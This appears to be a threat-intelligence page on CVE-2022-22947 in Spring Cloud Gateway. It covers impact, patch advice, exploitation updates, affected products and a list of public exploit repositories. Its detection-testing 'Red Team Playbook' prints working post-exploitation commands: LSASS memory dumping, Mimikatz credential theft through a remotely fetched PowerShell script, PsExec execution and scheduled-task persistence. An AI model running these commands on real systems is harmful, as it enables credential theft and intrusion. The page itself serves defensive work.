CVE-2022-22947

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 03/03 Upd 21/10

Overview

This vulnerability is a code injection flaw rooted in improper input validation within the Spring Cloud Gateway's Actuator endpoint. Specifically, the gateway's route management API improperly processes user-supplied expressions, enabling injection of malicious code through crafted requests. The affected component is the Gateway Actuator endpoint, which exposes administrative functions for route configuration and refresh operations.

Vulnerability Description

In spring cloud gateway versions prior to 3.1.1+ and 3.0.7+ , applications are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

Impact

An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the host running the Spring Cloud Gateway. This enables full compromise of the affected system, including unauthorized data access, modification, or destruction, and potential lateral movement within the network. No authentication or user interaction is required, making exploitation straightforward if the Actuator endpoint is exposed and unsecured. The business consequence includes complete loss of confidentiality, integrity, and availability of the gateway and connected infrastructure.

Solution

Upgrade Spring Cloud Gateway to version 3.1.1 or later, or 3.0.7 or later as recommended by VMware. Oracle users should refer to the April 2022 Critical Patch Update advisory for related fixes. Detailed patch instructions and advisories are available at https://tanzu.vmware.com/security/cve-2022-22947 and https://www.oracle.com/security-alerts/cpuapr2022.html. Additionally, ensure that the Gateway Actuator endpoint is not exposed publicly or is properly secured to prevent unauthorized access.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in question arises from a code injection flaw present in specific versions of Spring Cloud Gateway when the Gateway Actuator endpoint is enabled, exposed, and unsecured. This flaw allows an attacker to craft malicious requests that can lead to arbitrary code execution on the host system. The underlying issue stems from inadequate input validation and sanitization mechanisms within the application, which allows untrusted input to be processed as executable code. As a result, when the actuator endpoints are exposed without proper security measures, they become a potential attack surface for malicious actors seeking to exploit this weakness.

Attack vectors for this vulnerability are particularly concerning due to the remote execution capabilities it offers. An attacker could leverage this flaw by sending specially crafted HTTP requests to the exposed actuator endpoints. This could be done through various means, such as phishing campaigns or automated scanning tools that identify unsecured endpoints. Once the attacker successfully exploits the vulnerability, they could execute arbitrary commands on the server, potentially leading to full system compromise. This scenario could enable the attacker to manipulate data, install malware, or pivot to other systems within the network, significantly increasing the attack surface.

The real-world impact of this vulnerability is profound, especially for organizations utilizing Spring Cloud Gateway in their architecture. The potential for arbitrary code execution poses a critical business risk, as it could lead to unauthorized access to sensitive data, disruption of services, and significant financial losses. Furthermore, the exploitation of this vulnerability could result in reputational damage, regulatory penalties, and loss of customer trust. Organizations that fail to address this vulnerability may find themselves in a precarious position, especially in industries where data integrity and security are paramount.

To effectively detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First and foremost, it is essential to upgrade to the latest secure versions of Spring Cloud Gateway, as these versions have addressed the identified flaw. Additionally, organizations should conduct regular security assessments and penetration testing to identify and remediate any exposed actuator endpoints. Employing network segmentation and strict firewall rules can help limit access to sensitive endpoints, while implementing robust logging and monitoring solutions can assist in detecting anomalous activities indicative of exploitation attempts. Furthermore, educating development teams on secure coding practices and the importance of input validation can help prevent similar vulnerabilities in future releases.

In conclusion, the code injection vulnerability in Spring Cloud Gateway represents a significant threat to organizations that rely on this technology. The ease of exploitation combined with the potential for severe consequences necessitates immediate attention. By adopting proactive security measures, organizations can mitigate the risks associated with this vulnerability, safeguarding their systems and maintaining the trust of their stakeholders.




CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2022-22947, coinciding with the emergence of new proof-of-concept exploits circulating on public repositories. This increased activity underscores a growing attacker interest in leveraging the unauthenticated Gateway Actuator endpoint vulnerability for remote code execution. Although ransomware groups have not yet been definitively linked to campaigns exploiting this flaw, the association of known threat actors such as akira and UNC3886 with related intrusion activity signals potential for future ransomware deployment leveraging this vector. Our telemetry indicates the exploitation trend remains stable but elevated, reflecting sustained adversary focus rather than a transient spike. This development heightens the threat level from critical to a more urgent posture, as the availability of multiple high-profile exploits lowers the barrier for widespread compromise, increasing the risk to organizations that have not applied mitigations or updated affected Spring Cloud Gateway versions.



Update 2 — May 16, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2022-22947, with telemetry indicating a doubling in observed activity. This surge coincides with the continued proliferation of publicly available proof-of-concept exploits, which have gained increased visibility and community engagement. The combination of rising exploitation attempts and accessible attack tools significantly lowers the barrier for adversaries to execute remote code injection against vulnerable Spring Cloud Gateway instances. Although ransomware groups linked to this vulnerability have not demonstrated direct deployment in campaigns, the heightened exploitation trend elevates the risk of opportunistic ransomware or other post-exploitation activities. Consequently, the threat level associated with CVE-2022-22947 has shifted from stable to more urgent, underscoring the critical need for defenders to maintain vigilant monitoring and prioritize patching efforts to mitigate potential compromise.



Update 3 — June 23, 2026

CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2022-22947, accompanied by the emergence of several new proof-of-concept exploit scripts circulating publicly. This uptick in activity is reflected in an increased EPSS score, signaling a growing likelihood of successful exploitation in the wild. Our telemetry indicates that adversaries are leveraging these newly available tools to lower the technical barriers for remote code injection attacks against vulnerable Spring Cloud Gateway instances. While ransomware groups previously linked to this vulnerability have not yet demonstrated active campaigns, the expanding exploit landscape and heightened detection trends elevate the risk of opportunistic ransomware deployment or other malicious post-exploitation actions. Consequently, the threat level associated with CVE-2022-22947 has intensified, underscoring an urgent need for continuous monitoring and rapid response to emerging exploitation attempts.



Update 4 — July 08, 2026

CSURFACE threat intelligence has identified a modest but meaningful uptick in exploitation attempts targeting CVE-2022-22947, accompanied by the emergence of additional publicly available proof-of-concept exploits that further lower the barrier for adversaries to execute remote code on vulnerable Spring Cloud Gateway instances. Although the overall exploit activity remains stable without evidence of rapid acceleration, the increased detection frequency signals sustained attacker interest and potential reconnaissance or preparatory actions. Notably, while ransomware groups previously linked to this vulnerability have yet to mount active campaigns, the expanding exploit toolkit and persistent probing elevate the risk of opportunistic ransomware deployment or other malicious post-exploitation activities. This evolving landscape underscores a heightened threat posture that demands vigilant monitoring, as the combination of accessible exploit code and ongoing targeting increases the likelihood of successful compromise in unpatched environments.

Affected Products (16)

Vendor Product Version CPE
vmware Vmware Spring Cloud Gateway All cpe:2.3:a:vmware:spring_cloud_gateway:*:*:*:*:*:*:*:*
vmware Vmware Spring Cloud Gateway 3.1.0 cpe:2.3:a:vmware:spring_cloud_gateway:3.1.0:*:*:*:*:*:*:*
oracle Oracle Commerce Guided Search 11.3.2 cpe:2.3:a:oracle:commerce_guided_search:11.3.2:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Binding Support Function 1.11.0 cpe:2.3:a:oracle:communications_cloud_native_core_binding_support_function:1.11.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Binding Support Function 22.1.3 cpe:2.3:a:oracle:communications_cloud_native_core_binding_support_function:22.1.3:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Console 22.2.0 cpe:2.3:a:oracle:communications_cloud_native_core_console:22.2.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Network Exposure Function 22.1.0 cpe:2.3:a:oracle:communications_cloud_native_core_network_exposure_function:22.1.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Network Function Cloud Native Environment 1.10.0 cpe:2.3:a:oracle:communications_cloud_native_core_network_function_cloud_native_environment:1.10.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Network Repository Function 1.15.0 cpe:2.3:a:oracle:communications_cloud_native_core_network_repository_function:1.15.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Network Repository Function 1.15.1 cpe:2.3:a:oracle:communications_cloud_native_core_network_repository_function:1.15.1:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Network Repository Function 22.1.2 cpe:2.3:a:oracle:communications_cloud_native_core_network_repository_function:22.1.2:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Network Repository Function 22.2.0 cpe:2.3:a:oracle:communications_cloud_native_core_network_repository_function:22.2.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Network Slice Selection Function 1.8.0 cpe:2.3:a:oracle:communications_cloud_native_core_network_slice_selection_function:1.8.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Network Slice Selection Function 22.1.0 cpe:2.3:a:oracle:communications_cloud_native_core_network_slice_selection_function:22.1.0:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Security Edge Protection Proxy 22.1.1 cpe:2.3:a:oracle:communications_cloud_native_core_security_edge_protection_proxy:22.1.1:*:*:*:*:*:*:*
oracle Oracle Communications Cloud Native Core Service Communication Proxy 1.15.0 cpe:2.3:a:oracle:communications_cloud_native_core_service_communication_proxy:1.15.0:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Spring Cloud Gateway Remote Code Execution
exploits/linux/http/spring_cloud_gateway_rce
Ayan Saha Unknown - View

ExploitDB (1)

Title Author Type Platform Date Link
Spring Cloud Gateway 3.1.0 - Remote Code Execution (RCE) Carlos E. Vieira webapps java - View

GitHub PoCs (62)

Repository Author Stars Forks Date Link
lucksec/Spring-Cloud-Gateway-CVE-2022-22947
CVE-2022-22947
lucksec 223 57 2022-03-02 View
whwlsfb/cve-2022-22947-godzilla-memshell
CVE-2022-22947 注入Godzilla内存马
whwlsfb 211 27 2022-04-26 View
SecNN/CVE-2022-22947_Rce_Exp
Spring Cloud Gateway 远程代码执行漏洞Exp Spring_Cloud_Gateway_RCE_Exp-CVE-2022-22947
SecNN 77 21 2022-03-03 View
tangxiaofeng7/CVE-2022-22947-Spring-Cloud-Gateway
CVE-2022-22947批量
tangxiaofeng7 71 20 2022-03-04 View
0730Nophone/CVE-2022-22947-
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947) 注入哥斯拉内存马
0730Nophone 61 9 2022-05-16 View
crowsec-edtech/CVE-2022-22947
Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)
crowsec-edtech 38 14 2022-03-03 View
0x7eTeam/CVE-2022-22947
CVE-2022-22947_EXP,CVE-2022-22947_RCE,CVE-2022-22947反弹shell,CVE-2022-22947 getshell
0x7eTeam 36 12 2022-03-08 View
Tas9er/SpringCloudGatewayRCE
SpringCloudGatewayRCE - CVE-2022-22947 / Code By:Tas9er
Tas9er 28 3 2022-03-03 View
Zh0um1/CVE-2022-22947
CVE-2022-22947注入哥斯拉内存马
Zh0um1 28 1 2023-02-07 View
MoCh3n/CVE-2022-22947-Spring-Cloud-Gateway-SpelRCE
Spring Cloud Gateway远程代码执行漏洞POC,基于命令执行的基础上,增加了反弹shell操作
MoCh3n 14 10 2022-03-07 View
B0rn2d/Spring-Cloud-Gateway-Nacos
Nacos下Spring-Cloud-Gateway CVE-2022-22947利用环境
B0rn2d 16 4 2022-06-25 View
viemsr/spring_cloud_gateway_memshell
CVE-2022-22947 memshell
viemsr 18 1 2022-03-18 View
Enokiy/cve-2022-22947-spring-cloud-gateway
Enokiy 18 1 2022-03-21 View
Wrin9/CVE-2022-22947
CVE-2022-22947_POC_EXP
Wrin9 11 7 2022-03-17 View
k3rwin/spring-cloud-gateway-rce
spring-cloud-gateway-rce CVE-2022-22947
k3rwin 12 3 2022-03-13 View
nanaao/CVE-2022-22947-POC
CVE-2022-22947批量检测脚本,回显命令没进行正则,大佬们先用着,后续再更
nanaao 0 15 2022-03-04 View
superneilcn/SpringExploitGUI
一款Spring综合漏洞的利用工具,工具目前支持Spring Cloud Gateway RCE(CVE-2022-22947)、Spring Framework RCE (CVE-2022-22965) 的检测以及利用
superneilcn 0 15 2024-02-07 View
4nNns/CVE-2022-22947
Spring-Cloud-Spel-RCE
4nNns 12 2 2022-04-06 View
dingxiao77/-cve-2022-22947-
cve-2022-22947 spring cloud gateway 批量扫描脚本
dingxiao77 9 3 2022-03-04 View
twseptian/cve-2022-22947
Spring Cloud Gateway Actuator API SpEL Code Injection (CVE-2022-22947)
twseptian 11 1 2022-04-15 View
Vulnmachines/spring-cve-2022-22947
Spring cloud gateway code injection : CVE-2022-22947
Vulnmachines 9 1 2022-03-03 View
SiJiDo/CVE-2022-22947
SiJiDo 9 1 2022-08-23 View
YutuSec/SpEL
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)批量检测工具
YutuSec 6 4 2022-03-07 View
hunzi0/CVE-2022-22947-Rce_POC
批量url检测Spring-Cloud-Gateway-CVE-2022-22947
hunzi0 7 3 2022-03-04 View
Arrnitage/CVE-2022-22947_exp
CVE-2022-22947 Exploit script
Arrnitage 5 4 2022-03-10 View
mrknow001/CVE-2022-22947
Spring Cloud Gateway Actuator API SpEL Code Injection (CVE-2022-22947)
mrknow001 7 2 2022-03-07 View
anansec/CVE-2022-22947_EXP
一个可单独、批量验证的脚本,也可以反弹shell
anansec 7 1 2022-05-19 View
Greetdawn/CVE-2022-22947
Greetdawn 5 3 2022-03-04 View
darkb1rd/cve-2022-22947
darkb1rd 6 0 2022-03-07 View
nu0l/cve-2022-22947
Spring-Cloud-Gateway-CVE-2022-22947
nu0l 3 2 2022-03-04 View
kkx600/Burp_VulPscan
burp被动扫描插件,目前只有CVE-2022-22947
kkx600 2 3 2022-04-11 View
stayfoolish777/CVE-2022-22947-POC
批量检测Spring Cloud Gateway 远程代码执行漏洞 Spring_Cloud_Gateway_RCE_POC-CVE-2022-22947
stayfoolish777 3 2 2022-06-08 View
sagaryadav8742/springcloudRCE
Spring Cloud Gateway RCE - CVE-2022-22947
sagaryadav8742 4 1 2022-03-30 View
Le1a/CVE-2022-22947
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行Exp
Le1a 2 2 2023-05-26 View
22ke/CVE-2022-22947
22ke 2 1 2022-03-05 View
Vancomycin-g/CVE-2022-22947
Vancomycin-g 2 1 2022-03-29 View
Nathaniel1025/CVE-2022-22947
poc for CVE-2022-22947
Nathaniel1025 1 2 2022-03-25 View
LY613313/CVE-2022-22947
LY613313 3 0 2022-08-03 View
scopion/cve-2022-22947
poc for cve-2022-22947
scopion 0 3 2022-03-03 View
dbgee/CVE-2022-22947
Spring Cloud Gateway Actuator API 远程命令执行 CVE-2022-22947
dbgee 2 0 2022-03-04 View
Wrong-pixel/CVE-2022-22947-exp
Wrong-pixel 1 1 2022-05-29 View
Jun-5heng/CVE-2022-22947
SpringCloudGatewayRCE / Code By:Jun_sheng
Jun-5heng 1 0 2022-03-07 View
bysinks/CVE-2022-22947
bysinks 1 0 2022-03-15 View
talentsec/Spring-Cloud-Gateway-CVE-2022-22947
Spring-Cloud-Gateway-CVE-2022-22947
talentsec 1 0 2022-04-01 View
kmahyyg/CVE-2022-22947
kmahyyg 1 0 2022-07-12 View
qq87234770/CVE-2022-22947
qq87234770 1 0 2022-11-15 View
BerMalBerIst/CVE-2022-22947
Exp
BerMalBerIst 0 1 2022-03-04 View
Summer177/Spring-Cloud-Gateway-CVE-2022-22947
Spring Cloud Gateway远程代码执行漏洞
Summer177 0 1 2022-03-04 View
Y0ngC1oud/CVE-2022-22947
Y0ngC1oud 0 0 2026-07-09 View
entr0pie/demo-cve-2022-22947
entr0pie 0 0 2026-06-02 View
ciri3/spring-cloud-gateway-cve-2022-22947-report
Technical report about CVE-2022-22947 in Spring Cloud Gateway and its exploitation through exposed Actuator endpoints.
ciri3 0 0 2026-05-29 View
fbion/CVE-2022-22947
Spring Cloud Gateway Actuator API SpEL Code Injection.
fbion 0 0 2022-03-30 View
flying0er/CVE-2022-22947-goby
日常更新一些顺手写的gobypoc,包含高危害EXP
flying0er 0 0 2022-03-04 View
hh-hunter/cve-2022-22947-docker
cve-2022-22947-docker
hh-hunter 0 0 2022-03-11 View
Sumitpathania03/CVE-2022-22947
Sumitpathania03 0 0 2024-01-03 View
skysliently/CVE-2022-22947-pb-ai
一个由AI生成的漏洞验证应用
skysliently 0 0 2025-08-08 View
cc3305/CVE-2022-22947
CVE-2022-22947 exploit script
cc3305 0 0 2024-06-19 View
shoucheng3/spring-cloud__spring-cloud-gateway_CVE-2022-22947_3-0-6
shoucheng3 0 0 2025-08-20 View
SanderSchepers1993/CyberSec2026
CVE-2022-22947 vulnerability task
SanderSchepers1993 0 0 2026-03-30 View
PaoPaoLong-lab/Spring-CVE-2022-22947-
PaoPaoLong-lab 0 0 2022-03-10 View
scopion/CVE-2022-22947-exp
scopion 0 0 2022-03-30 View
aesm1p/CVE-2022-22947-POC-Reproduce
CVE-2022-22947 reproduce
aesm1p 0 0 2022-04-05 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

13 events
2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-05
Exploited by UNC3886

Ransomware group known to exploit this vulnerability

2026-03-31
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2022-05-16
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2022-03-02
PoC Published (62 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2022-01-26
Exploit Published (1 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

JNDI/Expression Language Injection
100% jndi_injection
Remote Code Execution
100% rce
Code Injection
80% code_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.005 Scheduled Task Kill Chain execution, persistence, privilege-escalation Windows
T1059.001 PowerShell Kill Chain execution Windows
T1003.001 LSASS Memory Kill Chain credential-access Windows
T1087.002 Domain Account Kill Chain discovery Linux, macOS, Windows
T1021.002 SMB/Windows Admin Shares Kill Chain lateral-movement Windows

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-242 Code Injection
51%
High High
CAPEC-35 Leverage Executable Code in Non-Executable Files
38%
High Very High
CAPEC-77 Manipulating User-Controlled Variables
35%
High Very High

Red Team Playbook

76 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1003.001 Create Mini Dump of LSASS.exe using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created...
Command (CMD)
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001 Dump LSASS with createdump.exe from .Net v5 Windows PowerShell Privileged
Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell)
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001 Dump LSASS.exe Memory through Silent Process Exit Windows CMD Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001 Dump LSASS.exe Memory using NanoDump Windows CMD Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001 Dump LSASS.exe Memory using Out-Minidump.ps1 Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created...
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001 Dump LSASS.exe Memory using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is...
Command (CMD)
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001 Dump LSASS.exe Memory using Windows Task Manager Windows Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.
T1003.001 Dump LSASS.exe Memory using comsvcs.dll Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell)
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001 Dump LSASS.exe Memory using direct system calls and API unhooking Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD)
"#{dumpert_exe}"
T1003.001 Dump LSASS.exe using imported Microsoft DLLs Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell)
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001 Dump LSASS.exe using lolbin rdrleakdiag.exe Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell)
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001 LSASS read with pypykatz Windows CMD Privileged
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD)
"#{venv_path}\Scripts\pypykatz" live lsa 
T1003.001 Offline Credential Theft With Mimikatz Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD)
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001 Powershell Mimikatz Windows PowerShell Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell)
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002 Copy and Execute File with PsExec Windows CMD Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD)
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
T1021.002 Execute command writing output to local Admin Share Windows CMD Privileged
Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.
Command (CMD)
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002 Map Admin Share PowerShell Windows PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell)
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002 Map admin share Windows CMD
Connecting To Remote Shares
Command (CMD)
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1053.005 Import XML Schedule Task with Hidden Attribute Windows PowerShell Privileged
Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.
Command (PowerShell)
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1053.005 PowerShell Modify A Scheduled Task Windows PowerShell
Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. It will first be created to spawn cmd.exe, but modified...
Command (PowerShell)
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
T1053.005 Powershell Cmdlet Scheduled Task Windows PowerShell
Create an atomic scheduled task that leverages native powershell cmdlets. Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (PowerShell)
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
T1053.005 Scheduled Task ("Ghost Task") via Registry Key Manipulation Windows CMD Privileged
Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
T1053.005 Scheduled Task Executing Base64 Encoded Commands From Registry Windows CMD
A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created. The scheduled task will launch powershell to decode and run the command in the registry daily. This is a persistence mechanism recently seen in use by Qakbot. ...
Command (CMD)
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
T1053.005 Scheduled Task Persistence via CompMgmt.msc Windows CMD Privileged
Adds persistence by abusing `compmgmt.msc` via a scheduled task. When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.
Command (CMD)
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
